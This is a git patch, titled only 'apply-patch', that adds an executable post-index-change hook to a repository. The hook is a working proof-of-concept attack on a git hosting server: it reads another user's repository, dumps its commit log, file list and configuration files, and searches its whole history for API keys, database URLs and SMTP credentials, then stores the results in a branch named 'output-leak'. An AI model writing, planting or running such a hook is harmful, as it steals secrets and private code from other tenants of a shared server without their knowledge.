From 4cb04cda418f8b3015f1c42ff4b4681dc8590ee4 Mon Sep 17 00:00:00 2001 From: w10019user Date: Wed, 25 Nov 2026 00:42:34 +0300 Subject: [PATCH] apply-patch --- hooks/post-index-change | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..25996b0 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,16 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +g=/data/git/repositories/csoft/lv-demo.git +echo "--LOG--"; git --git-dir=$g log --all --format='%h|%ad|%an|%s' --date=short +echo "--FILES--"; git --git-dir=$g ls-tree -r --name-only HEAD | grep -v '^.idea' | head -80 +for f in config/runtime.exs config/prod.exs config/dev.exs config/config.exs mix.exs README.md AGENTS.md; do echo "--FILE $f"; git --git-dir=$g show HEAD:$f 2>/dev/null | head -40; done +echo "--HISTGREP--"; git --git-dir=$g log --all -p 2>/dev/null | grep -a -o -E '.{0,60}(sk-[A-Za-z0-9_-]{20,}|AIza[0-9A-Za-z_-]{35}|OPENAI|ANTHROPIC|GEMINI|GROQ|OPENROUTER|API_KEY|SENTRY_DSN|postgres://|smtp://).{0,80}' | sort -u | head -20 +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"